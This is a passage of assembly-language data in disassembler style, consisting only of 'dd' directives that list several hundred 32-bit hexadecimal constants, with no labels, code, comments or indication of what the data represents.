dd 0F07FAA7h, 0BE34E2C3h, 3DE7D6C1h, 22B78E8Fh, 0BB85DAC9h
dd 29D3F75Dh, 0B7881F5Ch, 60945548h, 97571248h, 0EE755EF1h
dd 9E0E1336h, 74482AE2h, 314B708Fh, 9A5DF703h, 6A273CC4h
dd 556F28B1h, 0DE4873C9h, 0E74AD420h, 0F69CF109h, 0DC425A32h
dd 0A44A7099h, 5DBB5FA3h, 0EF9F4EFCh, 0AFB6878Fh, 0E8278A13h
dd 0F0C48504h, 0ACD80559h, 0D01BAA95h, 5147C50Ch, 53F71609h
dd 41BDB66Eh, 26D13F6h, 1C378E4Eh, 6EE4E2E2h, 8F3DD683h
dd 9C8451EBh, 0CF972C6h, 0C081756Dh, 1C61F2F3h, 0E395E362h
dd 1F9D4F37h, 6DB9D982h, 970FB37Bh, 0E142CABEh, 36F4CEB8h
dd 0E64EF89Bh, 0E7172FFFh, 734D1746h, 0ABF56DD5h, 0AAC03303h
dd 80E05201h, 5839DE55h, 9D099073h, 747053A3h, 8ED55B06h
dd 0AB418012h, 8EBC3EE8h, 121186FCh, 0CF43041Fh, 24C5556Ah
dd 1D74E803h, 0B6D21192h, 6D02C37Ah, 8BD51712h, 618E40FBh
dd 658A0BBEh, 57FBE9DCh, 4D473659h, 36C1D32Eh, 4364207Dh
dd 6CDCE20Ah, 251C1061h, 60D799BCh, 91FC0D88h, 613EA3A6h
dd 2F340B7Dh, 6DA49EB5h, 0FCB316EBh, 0E01500CCh, 4CEFB07Eh
dd 0EEC53E04h, 8890530Bh
dd 753C576Fh, 49FF0BC3h, 61FCAE67h, 0DF0E0686h, 9A48CE0Eh
dd 7051E7D2h, 0C59B1703h, 9BFC05EDh, 8DE2FD43h, 85CA91E9h
dd 35196B26h, 3656BF08h, 664804E9h, 0A8FA840Eh, 0A483DD4Ch
dd 53926350h, 0A2563E9Bh, 1E47DB39h, 0F26C878Dh, 0BC50EA91h
dd 21B952F6h, 3D79665Dh, 0BC2EDAC7h, 6DB99700h, 0DE9F7C4Bh
dd 0F9435A42h, 56F64638h, 3C4DEA86h, 5DA73CB2h, 0D541C0B1h
dd 6E54DC9Ch, 0EFDDECFCh, 83BA1100h, 4A81DBAAh, 70C26431h
dd 1086BCD7h, 0BADA4743h, 70099AE5h, 62021703h, 9C63FA3Dh
dd 929098F0h, 0AD7EC57Eh, 2571CAEEh, 3E55054Fh, 8FA7F783h
dd 3FE68E15h, 7C191AC8h, 6F40825Ch, 0FF352B71h, 0DC40D39Ch
dd 71420219h, 0BEA984FCh, 0BFD7F581h, 0E956AE43h, 0BC2EA2E7h
dd 6DB9A718h, 0DE9F5C5Bh, 0AC954662h, 6F16884Bh, 7EC604EAh
dd 421725B2h, 84625851h, 51BFF605h, 7A1EE806h, 939B7601h
dd 0A5BD97DFh, 88171A79h, 9B7A1207h, 0EB854BDEh, 41028F1Ah
dd 0FFA0ECFCh, 0AC619AE8h, 829B4F0h, 29C9057Bh, 0CC4ACAF2h
dd 9B5505BCh, 0F354FB80h, 5DD654CCh, 0ED8DFAC1h, 85C4FBF9h
dd 7733EDA6h, 1D47DACEh, 0D4BA05C8h, 43890778h, 626D8FA2h
dd 0E3C6EDF6h, 9B6B0B21h, 0E8B6AF00h, 8D7AC5EDh, 2DC0A8DFh
dd 1A9D2CF5h, 7EC19363h, 2985BAB0h, 0A04DBB43h, 3B67AF9Ch
dd 65E273EEh, 87B2D801h, 0A3365318h, 644EF7Ah, 0E5089370h
dd 61963EE6h, 0DB08775Fh, 48CE8E02h, 47E9B20Fh, 1985FD87h
dd 0C025597h, 1E071FEh, 0E5A6BF7Bh, 0F3794AFAh, 0E4B3FF4Eh
dd 34278C13h, 0C2CFBC63h, 0AAB8D422h, 5D471A32h, 0B41600E8h
dd 4388FB72h, 0B1630776h, 0ED6DB297h, 0CE1B2640h, 380EB8D0h
dd 81807422h, 25C76FF7h, 671FF43Ah, 0A2A49AEBh, 0A2940D7Eh
dd 8C4D2B4Eh, 268E1907h, 0B9734253h, 7FAE3AF1h, 5DAADA63h
dd 6DC9D877h, 0E8779B0Eh, 20811915h, 0A66DDA91h, 8B7184FEh
dd 432CCF81h, 3CEAED0Fh, 2C3E28E8h, 0E2925481h, 52FF7175h
dd 28B1EF2Bh, 3B3E0705h, 737D1555h, 0BB120D28h, 0FBFBE914h
dd 9D47DAC8h, 0F3F2CD4Fh, 848906F7h, 0E188F8B0h, 1D16F51Eh
dd 0BDE7231Ch, 0E6A9FAABh, 8D972953h, 34D52784h, 0EE0F53DDh
dd 61EF1863h, 0A26ED39Ah, 0A013205Eh, 0AB7D54A9h, 0EDE9BA03h
dd 0C6419109h, 0D10F2FD6h, 0A173E047h, 687D20Ch, 61924BE0h
dd 0B718675Fh, 0EA42970h, 0BCA49905h, 0C447D418h, 89097716h
dd 0A310DA0Dh, 0D45AC779h, 68253F05h, 407BB10Ah, 0BA9A509Dh
dd 88D80FEFh, 0D506B5Ah, 0CE321A5Dh, 8CC44B40h, 6989C149h
dd 62880174h, 0D27C04D8h, 94923F28h, 0E454028Fh, 8D98148Ch
dd 65CB4CBBh, 32979B8Ah, 0E5B7B914h, 0B1E4F53Bh, 0ACEF9441h
dd 54914CA9h, 0B963ACFCh, 0E50BF8E7h, 0C43096A0h, 61EB2A8Fh
dd 699BA297h, 6E880EAEh, 79734ED8h, 99ABFFC5h, 0B44C05FFh
dd 85442F01h, 0AACB33BBh, 63EEFCF5h, 2C8AFA63h, 8A1DB439h
dd 0C13F578Bh, 2314FD41h, 1E65E525h, 0FCB127ACh, 48CE34FDh
dd 0FC0162ABh, 0CA855CC1h, 0B403E6A6h, 68D872F6h, 1F932FA4h
dd 0AABD3AE2h, 8D7B753Bh, 0E10C6CD4h, 671FD244h, 2041F96Bh
dd 0D7D1F7D5h, 50D5A444h, 0A8EE4B8Ch, 67224CFCh, 3524C15Ch
dd 2B3A6C6Ch, 24C9E93Ah, 8B898D7Fh, 5A0B8844h, 73958F3Dh
dd 0A7078A04h, 0AC7C0500h, 3886665Bh, 0FAC25C67h, 4DD511E1h
dd 0FDEE7185h, 878A0E10h, 607A8CF6h, 6583F20Ah, 0E5483ACCh
dd 207FA790h, 0D64FFEE4h, 0F812AD3Bh, 92992D71h, 3053D29Bh
dd 694D2EFEh, 6C6642E9h, 9A7BDEBBh, 1C76510Ah, 0ACEF6803h
dd 696AD8F1h, 71924AD0h, 0ACE0E14Ch, 0B08A9F75h, 0EF4D74FAh
dd 0B8DE8B27h, 0C7103D2Dh, 0F667430Dh, 0B4757B5Ch, 0BD0C0E70h
dd 0F55A1019h, 5AD5021Ah, 0A30F8A04h, 0A46C0500h, 0DDB1BB5Fh
dd 8B86DE94h, 0D4D993E5h, 0A21BD9Ah, 0AEAF2720h, 98BDDDF7h
dd 0C0368C18h, 1ACE8204h, 0AFFAA5D0h, 0E087D39Ch, 0A78DCE1Bh
dd 9B7E18D1h, 390BC606h, 44D17416h, 0BFC6BA30h, 187A5650h
dd 0A936EF86h, 808F5804h, 90CA602Ch, 0EE7A149Ah, 558BCF7Fh
dd 4B7656BFh, 20A1FDCDh, 67DDB74Fh, 817355Dh, 7384376Dh
dd 0BF1A3E93h, 69D6076Dh, 136E3EC2h, 886B06EBh, 15F2360h
dd 0B8588EC1h, 0FD641A18h, 748C27A1h, 9F85BEADh, 0E4AD8886h
dd 2401B43h, 8E0F4900h, 893DF597h, 0D940FC13h, 0EB64ACE8h
dd 1F188AC3h, 0CC8B953Fh, 438AF0B4h, 0F1AC69FBh, 68B26E63h
dd 0D7193031h, 64CFDF7Ch, 81592805h, 0B40722C3h, 86F32270h
dd 210A1F62h, 0C68B7D1Fh, 638CDF6Ah, 0BB842807h, 364802F4h
dd 8C03B352h, 0A4AD6CA4h, 0D5AE6F78h, 684DD687h, 0D7380792h
dd 58E03815h, 4A3CF721h, 6FFC3800h, 0EBD7ED08h, 5803A20Eh
dd 1C6C9AF4h, 98D379ECh, 0AC554A0Fh, 583C7EF1h, 7714028Ah
dd 59EE04EBh, 0CBBE2E06h, 0A7423C60h, 0F306973Fh, 4C5A7DF2h
dd 0EE4BE580h, 0C99072DDh, 646DD0C3h, 0EEDCB325h, 0F87CD0C7h
dd 0DD479559h, 617390B2h, 65BC980Dh, 6AF7EB4Fh, 60D314B1h
dd 8C42E94Fh, 0EDF5F303h, 67ED85Ch, 2EED9F6Ch, 8050E73Dh
dd 748CDD57h, 0C4968F9Ah, 8AF84FA5h, 0BE78A94h, 543C0500h
dd 0C0A7645Dh, 0E552592Ch, 0C3C992BFh, 5DAAF6A4h, 4750FB90h
dd 9763C7D5h, 2BCE897Ch, 4E9A04F0h, 0B0B2C07Bh, 5763AA32h
dd 57421BA8h, 4F467779h, 0C5CCAF98h, 44FAE9E4h, 0BFAE7238h
dd 679ECFB1h, 658D825h, 27C0C720h, 0F7C5BC34h, 65A22666h
dd 2190E86Eh, 0F6B0C3A2h, 20F4C107h, 3578CF76h, 7A754080h
dd 5D88DAD0h, 0C76F9DF1h, 5D135F57h, 3655C2C9h, 0C341CA91h
dd 750DFB51h, 8B71E989h, 0D087645Dh, 0DF914985h, 5B196336h
dd 5722FA7Eh, 0B3DB59ECh, 5D41077Fh, 1037C38Bh, 3B5D04EFh
dd 0B53B4F4h, 91025CE3h, 0DE72F6E2h, 6AFEB16Fh, 0E9FC4181h
dd 0E5997652h, 9B92A953h, 75FF2406h, 718447B8h, 0A69D1E9Bh
dd 0D809EF30h, 6DD112ABh, 0AD59A100h, 0A0E285C3h, 0EE79F28Ch
dd 0A877D21Bh, 0F993AD05h, 0D09A2F2Dh, 60046443h, 4D4A21E1h
dd 0D9E74B11h, 5FE83015h, 4D47573Fh, 44898E0Ah, 4F475207h
dd 85AE17E0h, 3A1292BFh, 9E15F5D8h, 0C592160Ah, 0BEBB2B3Bh
dd 49F90EAFh, 42D8C3E4h, 6BBE2CE0h, 0C53A559Dh, 0B2899FEEh
dd 0C88AF732h, 0B1032F39h, 61DCBBFCh, 108EE041h, 2D31A53Dh
dd 9D7806DEh, 0AC811184h, 672A87F3h, 92E2B094h, 0A27D9D7Bh
dd 0E56A5B3Ah, 0B7AB0784h, 64FE698Eh, 0C87BED41h, 0B5AA5821h
dd 0E14E22F2h, 30E2C68Bh, 9F6B4411h, 73EB7802h, 3D1E2B54h
dd 0C5C4408Bh, 0FFD5C148h, 907DC0Fh, 7511CF71h, 47B2BF4Bh
dd 221AB6CAh, 0E73642E0h, 9F6A516Ch, 549B28A5h, 0C0927C67h
dd 0A248DE82h, 0A33F84A0h, 0C8808A0Eh, 0A1032F1Eh, 251F508Eh
dd 0DE2DA658h, 65EF2064h, 0DD588E77h, 0F4D4C75Fh, 0EC0F4B3Bh
dd 250FFB3Bh, 0F2A6662Bh, 5F50D0A6h, 0A73C0773h, 66F17688h
dd 32F3FD59h, 6FDB8764h, 80B6BFF1h, 7548D5A2h, 0D153C07Fh
dd 5EF0B67Ch, 8D747779h, 0CBAC1145h, 0A892FD4Dh, 49895D2Ch
dd 9DD911E6h, 79FA2AF4h, 3FA78FCEh, 0EF32C3E7h, 937D0C96h
dd 0C61110BFh, 22742DF0h, 8CCCA93h, 36B99FF5h, 0E35F809h
dd 68400E2Eh, 251D1726h, 0B7EA25C8h, 0BB2D788h, 85448E19h
dd 2FD1F2F4h, 378C0EB5h, 75C47DF7h, 2A8974B1h, 0E56AAB42h
dd 8FB9C384h, 66F04688h
dd 0DD771D59h, 0A75DBA01h, 0D6996F78h, 0FEF7CEC2h, 42185B5Ch
dd 6582875Fh, 23B38C18h, 0A9BCD501h, 0DE1D5D64h, 0AECE91EAh
dd 2A1692BFh, 0CE21E2A0h, 2F923E0Eh, 0AB581B34h, 8D141C96h
dd 0FB1110AEh, 0A7C6AFE5h, 0FB4FA9CDh, 0FB3ED076h, 0C8928309h
dd 0B1032F6Ch, 61DCBA5Ah, 108EEE0Dh, 2D31A145h, 7231430Eh
dd 2FD4899Ch, 0D8080D75h, 35BDE13Eh, 297C4617h, 0E06AB70Bh
dd 0EE7052A0h, 0A8471C17h, 32F1411Dh, 0F07D0B6Ch, 3947EE68h
dd 0FEAE930Ch, 89C15749h, 65DD8E0Ah, 0CC24F4ECh, 4D5886FFh
dd 2E8AA883h, 0AE9600D6h, 5E9886B2h, 0CB6AA7Ch, 0F4D33757h
dd 71810848h, 35B82DC7h, 5C7324BBh, 61BE2CECh, 0BA7BDA88h
dd 343A94F5h, 601BC7Dh, 0B4372820h, 4CC60C4Ch, 6CF4B4E5h
dd 6DB29158h, 0D8F7C37Bh, 0E17B8A3Ch, 4B458C64h, 0EE8CB160h
dd 2B3C116Bh, 72649F1Eh, 0FE7226F1h, 0C1BAA40Bh, 8DFE7109h
dd 0D8771318h, 0FC980874h, 95269E57h, 8C8CC839h, 0DE0DCA92h
dd 3FFE8712h, 878A7061h, 0CAD2E14Dh, 283FD563h, 521DEFBBh
dd 0FFAF6B0h, 0EAD33757h, 39748A78h, 3F6E4C5Ah, 961714AEh
dd 0DBF3A5ECh, 964F9B46h, 0F38C80C9h, 0C89BF380h, 990B2F52h
dd 68E93776h, 0A3D251FAh, 75CEA918h, 6748CB5h, 0EE499904h
dd 7B4F8DB1h, 0EE8CB6E0h, 0EFFC2F7Bh, 0B0ED3FB1h, 28F16107h
dd 93F85F7Bh, 0C8753753h, 0C3BFF53Dh, 0E280AAF1h, 0CAABDED2h
dd 0E50C72D9h, 708E8567h, 1FDB8C0Ch, 55F98C66h, 34075207h
dd 3447DE39h, 9FDC11AAh, 0EB6AA7Eh, 68592F52h, 9AE8EF34h
dd 8F1FB2Ch, 0C6DF8FE7h, 3FEB93E2h, 5C5B9E47h, 6F56194Ah
dd 0C882B28Ch, 5E870B46h, 0AABF2311h, 10B2F619h, 3D31A16Dh
dd 9D3C4232h, 0E14D5575h, 665789E0h, 0EF94A762h, 0B2FE3D6Eh
dd 0B89C2828h, 20F7208Ch, 0BD755346h, 9DAA3808h, 4EDC53EFh
dd 79D1E468h, 0FCA2860Ah, 0C9865B4Ch, 68EEE937h, 0CBD6C01Ch
dd 41AC0500h, 2A08C4E3h, 3C87EA66h, 9EEB72AAh, 0BE29FAF5h
dd 5A1DB61Ah, 0BBD652EDh, 91F9FC96h, 0FBCE8C03h, 0EFFBA703h
dd 85025FAAh, 95FED57Fh, 43928A84h, 9C0BF76Ah, 77EB35A6h
dd 0A79EE31Eh, 51BEDD45h, 670BC1Bh, 0F44994D1h, 77528A31h
dd 0E6B4F1ADh, 0D776CB46h, 0B0A42469h, 22F80401h, 0ED3E4356h
dd 6E67A39h, 0F57A036Ch, 79C06679h, 3F5A830Ch, 43BA1E90h
dd 0B5F39A4Eh, 232337C6h, 42A47883h, 65890C77h, 34D7DE61h
dd 1D85D271h, 0A2ABEAADh, 0ECD1F53Bh, 0C47B8C40h, 0E432B3DFh
dd 6D8EE468h, 5FCB3C15h, 564F9347h, 3B8D84D0h, 0C840F61Ah
dd 2B89075Ch, 61B27FDBh, 0B3D22D62h, 28337939h, 853942B6h
dd 9DF0C43Fh, 6B7AFB35h, 0EE8CB560h, 0F75D016Bh, 0B8B12AB6h
dd 0F615C5D7h, 0ED842EC0h, 0E1A785Ch, 0F3A7C7C5h, 61C8E42Fh
dd 302A29B6h, 3D01C215h, 3501F299h, 0EB2A1C70h, 2953E583h
dd 0FAABC9C8h, 0AC47AFA8h, 91110FEEh, 3C5CEAF4h, 0C65A3B10h
dd 21FE3663h, 0D4720639h, 0FE19DC62h, 6F7E47F5h, 0E7860C45h
dd 66121B82h, 538BF00Eh, 0A17EF712h, 26E27F56h, 9197DE2Ch
dd 2831E944h, 8C2C448Ah, 2D30D15Dh, 78E5816Ah, 0ECA02D00h
dd 0A78FF6E2h, 0A86CABC5h, 21E9458Bh, 65FEA257h, 0C0009619h
dd 262C1A39h, 0A9F9F098h, 0B47A5FA3h, 0DDCD4EE3h, 3412878Fh
dd 31FFC114h, 42160F05h, 703EA885h, 771210E2h, 0C96DDF71h
dd 9929227Ch, 9498540Dh, 3EFFDDEDh, 79668FD5h, 1E9B03E3h
dd 0FBBC2861h, 0A0CFC333h, 0B3838087h, 5675B770h, 0F188DB82h
dd 0E36672DDh, 88E7A358h, 920306A0h, 847C0E91h, 27C484F4h
dd 51EEFD38h, 0E684FEE9h, 0D71BD946h, 49266A49h, 0ABF97EA5h
dd 0BD0BC688h, 72471AE1h, 6D770AD6h, 6B858687h, 3024D687h
dd 409F4AE5h, 2AC90CC2h, 0BA97C76Fh, 4796C4DAh, 2877F983h
dd 0D1D2546Eh, 191D98BEh, 7F5B7EFAh, 0CBDB3F12h, 0E54A0798h
dd 647E415Bh, 23EF0ED3h, 6B3DF463h, 0B987BDD3h, 9C74A0Eh
dd 0D69E7C00h, 0F1892019h, 649473DBh, 7096AE24h, 0EE62205Bh
dd 4D17D77Eh, 651E0230h, 738C04CAh, 6483F5FEh, 0A032A62Bh
dd 5BC6DF4Ah, 22F53107h, 2B726B46h, 8DFE96E0h, 0BFCA9329h
dd 0B11AD00Dh, 1EB13604h, 13D36FD9h, 0BE2875DBh, 34439210h
dd 6EA1501h, 2FC2E90Ah, 278325ECh, 1B4113FAh, 0BFC1E515h
dd 7582B636h, 0C8B5029Eh, 0FD750C45h, 2CDE89FBh, 0E9B6ACEEh
dd 0DD468625h, 7E381087h, 601E270h, 0E0D8AAE8h, 0E96E62A1h
dd 8918E04Ah, 4453B9D0h, 67CC88Fh, 0E0498771h, 0A13EFE48h
dd 1B04D398h, 0B603273Ah, 2BE495CDh, 0FB7494C9h, 15AE6A02h
dd 64F571CFh, 0A5F5D22Dh, 0E46B2AF3h, 2024D7D7h, 8FAEC2E1h
dd 25A99D90h, 3343E8EDh, 7CB4300h, 20A2EDF8h, 0AB423F69h
dd 0F24966BFh, 93EF77F4h, 980B642h, 18551884h, 35A88DF4h
dd 4A110111h, 0CAB9247Fh, 1F435DDCh, 7B136FD6h, 0C69AF7F9h
dd 1E8152DFh, 606AA73Fh, 6BD72FACh, 6D4AD4D3h, 0F0FFCECBh
dd 0B5B18BA8h, 0EAFF453Bh, 300DFA3Bh, 0AF76E9C3h, 0A0E6C4A7h
dd 2821ED8Ch, 2D90ECE3h, 4C25D82Dh, 0B17E96D3h, 6897E7EDh
dd 77E82097h, 0F42A031Dh, 3FCAF29Ah, 76D00971h, 436C88F8h
dd 0E9BAB881h, 42E95F69h, 1661DF71h, 2823FBA5h, 8558F9EAh
dd 34BDDFEDh, 28B26FCFh, 0B45BDE62h, 0BEAAA7EFh, 4D46D1C7h
dd 0FBE9DD0Ch, 0A88FF54Fh, 0EDCDAC25h, 156E7217h, 74EF26A4h
dd 0E6B4DC62h, 0DDF130EBh, 5C910275h, 8C0D0036h, 0F8590F4h
dd 0CB9E72C4h, 2319B4BCh, 0D6799048h, 0E18FC9ECh, 0F482h
dd 0F07C5279h, 6490A980h, 74A7930Ch, 0C69672E1h, 0CAC7E398h
dd 0CB168CFBh, 6B20508Bh, 0A6A564D8h, 7D9C0A91h, 58447673h
dd 728D8678h, 0DDBDB647h, 0D8638C32h, 0C7A19EBh, 65E914EAh
dd 0EB3DF463h, 0B987BDD0h, 9C74A0Fh, 0D69E7C06h, 0F1892015h
dd 649473D8h, 7382D3B5h, 92451E50h, 8D75C819h, 6C478A94h
dd 3424F4CFh, 9A64B683h, 0E7FD7AC4h, 0E56D1F5Eh, 43AAC480h
dd 12042F83h, 4F4558Ah, 301D40EFh, 306E1098h, 2EF4260Eh
dd 75DF8844h, 353D8F3Dh, 14D78A04h, 42DC0500h, 0A4E7645Dh
dd 0ADD2592Ch, 72C992BFh, 73AAFB95h, 0D150FB91h, 0CB428AA7h
dd 3BCE89D0h, 6E9A04EBh, 0D35BA5BFh, 0DD47C6DBh, 8CAC536Eh
dd 14DCA4FDh, 26807A97h, 6096CB65h, 9AF8A748h, 85E9B712h
dd 728345B2h, 2DC87637h, 9F84DB35h, 0F916C14h, 0F1768F39h
dd 5F17A4A6h, 0A7320F73h, 6E1D668Ah, 85B10EF1h, 4FFD1BAAh
dd 69816F8Ch, 0FC85930Ch, 31E160DFh, 0BBBE799Fh, 34630791h
dd 0AB3C908Dh, 2B9B12F7h, 18425579h, 7D90CD3Ah, 0D9F55006h
dd 0C25857C2h, 806D0764h, 147201C4h, 1792C06Bh, 0B53FDCADh
dd 1D47C6CBh, 76C19CFFh, 0BC75191Eh, 0E18830FBh, 901F3C09h
dd 747E2145h, 0E8314A8Fh, 72835F12h, 54413784h, 37F8C15Fh
dd 0BCBAAF38h, 66F558C4h, 2320CE42h, 0B7827B74h, 117726FCh
dd 7543C109h, 4E01E62Ch, 9611597Ch, 75E5D640h, 84554B19h
dd 3EDE70E6h, 0CD52F78Dh, 8679C389h, 72494D77h, 0D9510599h
dd 0BD999E5Eh, 0DAA23E76h, 7DAEBA2Fh, 6F3E6D5Dh, 7F220894h
dd 716A9B01h, 0A77AAF29h, 80913E84h, 235F6F6Ah, 0BE06E31Eh
dd 210D30DAh, 0E346A1ABh, 12DAA4A0h, 95394ECDh, 6577C711h
dd 5B3B0B5Ch, 670A3637h, 65EE56EBh, 0F2833CB0h, 5081D31Dh
dd 6F77C373h, 11A3880Fh
dd 4996F56h, 2FCD0EC5h, 4E5AE287h, 75C7D687h, 94831D4Ah
dd 29B2833Eh, 26F20F0Ch, 9F651E73h, 5EFD0D8Bh, 0E74B71A9h
dd 4E1C603Bh, 21A26FE1h, 0A2AE2F13h, 0D53F0367h, 1120ECC1h
dd 0BE5DFB19h, 8BBE2CDEh, 76B81E52h, 82EEC3B9h, 1A750907h
dd 0F1AC6442h, 57E67D6h, 186D5AFAh, 0AB33BBC4h, 53C6554Dh
dd 2D9D42EBh, 0A45C6BC0h, 65A329E6h, 2192F26Eh, 0F6B42FA2h
dd 0A3A9BFDBh, 4EA6688h, 8DC211A0h, 9D1655A2h, 7A90FF3Eh
dd 0B5C83ED1h, 4D53B4E6h, 0B785F2DAh, 8662F8CCh, 219C0500h
dd 3182EBFFh, 37E8451Dh, 0C02B72A9h, 0E329FAF5h, 101DB61Ah
dd 0F9F9008Eh, 0BC720425h, 5ADF8FE6h, 6E42695Eh, 564CA211h
dd 0AB2F6CDCh, 0B3CF7F98h, 3B012F23h, 2069FC1Bh, 9B909998h
dd 28334A6Dh, 7D0136FEh, 2FDCFBBFh, 0B72E2526h, 5C7C1162h
dd 0A8048546h, 0A01B7689h, 20F42C8Ch, 0BEB19B7Eh, 0DDD23782h
dd 59A854C1h, 6523EC87h, 33482D86h, 0C91CC009h, 0B79106E0h
dd 4283FB79h, 2A645310h, 6C5D12B5h, 393695ECh, 2FE65279h
dd 24917AD7h, 516BA1Dh, 4F58F89Ah, 0C07A04D7h, 937252F6h
dd 9241D36Ah, 18331654h, 18F9581Bh, 1C4AC7DAh, 0D017BE9h
dd 1F1BF7C7h, 0BC2E281Ch, 6DBAB310h, 62BEB6Dh, 0ABD09908h
dd 42017707h, 65842C9Bh, 0C47387FAh, 2181F1C7h, 0DEF3DB72h
dd 0C9B2F83Ah, 8F053719h, 51699329h, 69EBE93Bh, 0F6A2C2F2h
dd 0BD0E4F62h, 4F06E917h, 30EE0706h, 47878666h, 36FDEA7Ch
dd 0D7025569h, 0C79825FFh, 0ACCCFAF5h, 38E730EAh, 3158438Eh
dd 9F7D7B27h, 0CE99BB0Eh, 0A2D875D7h, 9DC2B016h, 0C409B5E7h
dd 4CAFF094h, 0EC77DF36h, 60960B7Ch, 9DD12C76h, 7D9EE7A3h
dd 0EB8C3448h, 0C2C74359h, 0AF843679h, 0EE8FB914h, 0C467556Fh
dd 0A0E72989h, 0F5AB9CBDh, 126F8058h, 0E26385Ch, 0F05C4FC5h
dd 61B9E42Fh, 73806188h, 0C87FBB3Ch, 30614E1Ah, 50558E62h
dd 4053FB81h, 0C304DE7Dh, 3CCD532Ah, 447F8E8Fh, 6FAAFE8Eh
dd 85DB591Fh, 0B64B0767h, 0C44987B7h, 0FC250392h, 0E0BE2CD7h
dd 9D4669D5h, 7A609098h, 8335F92Fh, 0E189955Ch, 9613529Eh
dd 73C1B361h, 6DBAB000h, 4BF5DB07h, 0DA0439F2h, 8EC70237h
dd 658450F1h, 29B1CC34h, 70E6231Bh, 96F81105h, 0EDE654FCh
dd 7AA5A175h, 260F156Ah, 6C38E20Ch, 65C22F5Fh, 95DFABC0h
dd 0E99464E2h, 3652DF01h, 4001D810h, 0E90AA882h, 245FAD2Ch
dd 0C6999B42h, 1AF213F5h, 81DB3F12h, 6C400769h, 0DA31B3DEh
dd 111A0BC3h, 67EBA728h, 1C9569DFh, 0A30F947Ah, 45C97FB0h
dd 877E837h, 609635A2h, 9DD12E4Eh, 0EDBA965Eh, 73393428h
dd 0A2870BBBh, 0E408D3F3h, 0ECE24023h, 0E7FC7378h, 0E56E6B42h
dd 670CCF80h, 6687837Eh, 4A50F4Ch, 616AD56Ah, 69E56B3Bh
dd 778211E1h, 0F624B19h, 5918F19h, 364FEEC4h, 0FDC70500h
dd 71AB8B05h, 5960BE95h, 0A01BD971h, 93CCF97Ch, 7B3E3B51h
dd 0C3580526h, 5D140292h, 0D9FC00A5h, 4BBE2A97h, 0E10255B6h
dd 8E85F68Fh, 94F4062Ah, 1DCD9FBCh, 0E9F0EC65h, 1EF45969h
dd 0F13EBCF0h, 827CBD7Eh, 0AB38F96Bh, 0A68E2107h, 300DA5B8h
dd 0E9C078C3h, 54AAAE4Ch, 0ABF45436h, 0C4303A03h, 79865AC8h
dd 0F38773FAh, 0F20E680h, 0FCA6060Eh, 8DB9441Ah, 672280E6h
dd 0E57A8E06h, 48298CFAh, 30895A06h, 85EE18E0h, 0C9999AEAh
dd 0D8832B7Ch, 23B47A99h, 0B46B8C85h, 6514C6D8h, 4D136236h
dd 0EE0123D6h, 0EF0D92Ch, 0A0C7199Bh, 0ABDF7F2Fh, 0E7C397BDh
dd 0DA72791Dh, 9B92A530h, 0AC9362C1h, 5E98F8E5h, 4C913714h
dd 0EE61F0F9h, 260D383Bh, 0E1C0663Fh, 0ED58D448h, 0CD0CAF70h
dd 8BE7C08Ah, 0EB3D7482h, 250A1020h, 37BD90B0h, 28235FDCh
dd 5888DBDAh, 0A4391F8Ah, 0A6239794h, 28FC9590h, 0B707645Ch
dd 69915D85h, 4211C771h, 0C623F680h, 1C1CE9Bh, 0B87B8E9Ch
dd 4B7DF658h, 17428D36h, 77FBA504h, 16BF935Bh, 0A8586CCAh
dd 80D71A5Ch, 0BD0376E2h, 0B81F38B2h, 0F08D45A7h, 0B7339780h
dd 679465Fh, 0A3CC3600h, 0D1082131h, 0EC805F2Fh, 2291EAFDh
dd 21E7DF4Eh, 0ABE450F0h, 98E19383h, 0E1B982Ch, 66670CC9h
dd 0A839665Ch, 6145D37Dh, 0C91D438Ch, 36E9020Ah, 26FD0800h
dd 4763E781h, 240A12F6h, 43036282h, 88998ADEh, 2DFFAF5h
dd 14DBE79Bh, 78FE6C7Ah, 6B3DE58h, 0BB8E8FE3h, 0FBBF2BDCh
dd 0D945925Dh, 9886981Fh, 0F3341EC4h, 0E14FDF4Fh, 6096357Eh
dd 706D6BBBh, 624C3A4Bh, 6DFF741Bh, 0A4E21B35h, 62075130h
dd 6587DCEBh, 2FB4B665h, 0A0E4D3F1h, 8C4EE18Ch, 0EDEDE303h
dd 0D140275Ah, 0BB26DF0Dh, 79C26770h, 0AE84CDF4h, 0A383AB9Ah
dd 0ED28ABDAh, 0B346FDC5h, 0BB049014h, 7854FD08h, 0BB43516Bh
dd 587B72E5h, 0DC6D050Ah, 4A583F1Ch, 0B3C1CFE6h, 759A57F6h
dd 765FB3Dh, 0DB9A685Bh, 18AF8588h, 70F96F51h, 8503FE70h
dd 3842C92Ch, 0E9CFC515h, 58C9FFCCh, 6D9DC7DDh, 0A93027EDh
dd 8083C85Ch, 56C4F8BCh, 109EE3B9h, 22BAE639h, 0A391D777h
dd 22028FCDh, 7D2AA8D3h, 0C158065Ah, 2D4B9F0Dh, 0E046E939h
dd 91CDB040h, 7C78CB19h, 0BDC38F1Bh, 0B93D0145h, 395A0AE0h
dd 8624EB48h, 0B81A20A9h, 0B9DE376h, 1ECCEB80h, 0BD583D6Ch
dd 6DBD616Ch, 0B6F60BD7h, 0A59A04E2h, 6A354AFCh, 1CCEB0A7h
dd 328DF6B8h, 2039091h, 0E003473Ah, 62D7B20Ah, 9B937856h
dd 86382168h, 0F4FFF2BEh, 7DB37372h, 0D008AD1Bh, 0A5861CAAh
dd 0A6215634h, 0A9E5318Fh, 0EA67FA5Ch, 0AC62CC05h, 82E4B00Dh
dd 673F029Eh, 0B9096082h, 72CA5FE1h, 0C5D1FC16h, 86B64F1Bh
dd 33A9C615h, 3D4AD509h, 0DA04EF48h, 88893348h, 3B1FE376h
dd 6F414687h, 9F59881Ah, 189089Eh, 0B90C5D6h, 0F7FCD4E9h
dd 4A0923D9h, 92BF07A9h, 3202C0F9h, 9383F691h, 0E3C9AB9Bh
dd 64D78FE1h, 2C9D45E5h, 8F7A4531h, 0EBAC95D1h, 0C2C3231Dh
dd 101A6E1h, 1C043F28h, 1E02433Dh, 0A68A4C28h, 0D2E5F283h
dd 2E6EDC05h, 0EFCA56h, 0A64D1396h, 4EDD6278h, 76CAD687h
dd 3B026EE6h, 30BD9F1Ah, 3E6B0704h, 0A8DC0500h, 1302ED09h
dd 0FE825569h, 4A999AF5h, 13AAFAF5h, 0CC583F15h, 6C3E0767h
dd 1C7204D5h, 6E9A049Eh, 6BBE2CC4h, 0DD47D6B3h, 7306915Eh
dd 438AF952h, 0E18822BCh, 60963960h, 9B92BAC8h, 6DBB4178h
dd 8D7C98CEh, 0A4C76AB4h, 6707DF70h, 658778EBh, 0A271253Bh
